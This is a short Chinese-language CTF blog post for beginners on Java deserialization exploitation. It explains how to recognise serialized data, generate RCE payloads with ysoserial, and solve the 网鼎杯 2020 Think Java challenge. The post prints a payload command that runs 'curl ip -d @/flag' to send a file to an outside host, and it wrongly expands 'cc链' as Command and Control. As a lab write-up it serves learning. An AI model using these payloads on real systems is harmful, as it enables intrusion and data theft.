前言
今天突然想起来对java反序列化漏洞的学习做一个记录,所以随便写一下,文章内容基础且结构无序,全是我个人的大白话,适合ctf初学者随便看看用来下饭。
简单介绍
序列化指的是将对象或数据结构转换为可存储或传输的格式的过程,实现的方法是writeObject()
;反序列化则反之,实现的方法是readObject()
,可以简单地理解为将文件压缩和解压缩的过程。
与PHP中反序列互相触发魔法函数导致的漏洞成因不同,java反序列化漏洞的成因主要是由于java序列化和反序列化机制的设计特点所致,简单地讲,只要反序列化代码中含有危险的命令代码,且该代码的参数是可控的,那它就存在该漏洞。
漏洞原理在我今天这里不是重要的,我主要想记录的是该漏洞的利用方式。
通常在解题中如果你看到一段字符串以rO0AB
开头,那它是java序列化后base64编码的数据;如果一段字符串以aced
开头,那它是java序列化后十六进制的数据,碰到这两种情况都基本可以认定该题考点为java反序列化漏洞,如果有直接接受该字符串的输入点,就可以尝试用链子直接打。
链子
链子通常指的是cc链攻击(Command and Control),在反序列化过程中插入恶意代码来进行RCE,在成为大牛后可以自行编写链子,像我一样的初学者还是建议使用ysoserial工具来一步到位。
由于要对序列化后的数据进行base64编码,建议将工具安装至linux系统
工具使用也很简单:
java -jar ysoserial-master.jar CommonsCollections5 "whoami"|base64 -w0
其中CommonsCollections5
为在ysoserial工具中选择的payload,使用不同组件的环境应有不同选择,实在不行就都试一遍!
如果一切正常,你的终端中应该会直接得到以ro0AB
开头的一长串字符串,将其复制粘贴至漏洞点,然后拿下服务器吧!
[网鼎杯 2020 朱雀组]Think Java
这道题目在来到java反序列化前还有sql注入获取用户名和账号的环节,由于不是本篇文章内容这里就直接给出:
username:admin
password:admin@Rrrr_ctf_asde
访问在线测试接口/swagger-ui.html
可以看到三个对应不同功能的接口
在login中输入账号密码:
登录成功后返回信息,发现一串以ro0AB
开头的字符串,可以判断出这是java序列化后base64编码的数据
将这串数据放入/current
中提交:
发现回显出了admin的身份信息:
根据这些我们可以知道,该接口将数据反序列化了,那是否存在漏洞可以利用呢,接下来就可以使用ysoserial工具来尝试。
由于还不知道系统使用了哪些组件,即不知道应该选择哪工具中的一条payload,这里可以用bp的Java Deserialization Scanner
插件去测试,如下图检测出了ROME
,那就以此生成利用代码
由于该环境没有直接的回显点位,需要选择外带或者反弹shell的方式去获取到flag,我这里选择了外带的方式
java -jar ysoserial-master.jar ROME "curl ip -d @/flag"|base64 -w0
之后即可在服务器上看到带出来的信息